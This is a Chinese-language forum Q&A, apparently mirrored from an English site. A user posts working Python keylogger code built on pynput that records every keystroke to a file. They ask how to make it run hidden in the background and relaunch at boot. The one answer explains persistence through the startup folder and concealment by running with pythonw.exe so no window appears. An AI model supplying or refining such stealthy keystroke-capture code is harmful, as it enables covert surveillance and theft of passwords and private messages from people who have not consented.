linux 如何完全在后台运行Python程序

w41d8nur  于 2023-06-05  发布在  Linux
关注(0)|答案(1)|浏览(116)

我试图在Python3中制作一个键盘记录程序,但我不知道如何使它在后台运行,并在PC重新启动时重新启动它。如果有办法让它在Linux、Windows和Mac上运行,那就太完美了,但我知道这很难。我将非常感谢任何答案。

from pynput import keyboard

def on_press(key):
    with open("keys.txt", "a") as f:
        try:
            f.write(f" {str(key.char)} ") 
        except:
            lst_key = list(str(key))
            len_key = 0
            clean_key = [""]
            sp_key = ""
            for i in range(4):
                lst_key.pop(0)
            for i in lst_key:
                len_key = len_key + 1
            for i in range(len_key):
                sp_key = sp_key + lst_key[i]
            f.write(f" {sp_key} ")
            f.close()

with keyboard.Listener(
        on_press=on_press) as listener:
    listener.join()
ryevplcw

ryevplcw1#

虽然我可能是学习Python的新手,所以可能有更多的方法可以做到这一点,但你可以:
1.把文件放到你的启动文件夹/目录
1.使用pythonw.exe(据我所知,包含在python中)在不打开终端的情况下运行脚本[我认为您使用cmd]
1.确保程序不会在你不希望的时候自动关闭
希望对Bonus有帮助:还有一些预先制作的应用程序可以在你需要的时候播放你的python脚本(即使是在电脑启动的时候),如果你想的话,你可以去看看。

相关问题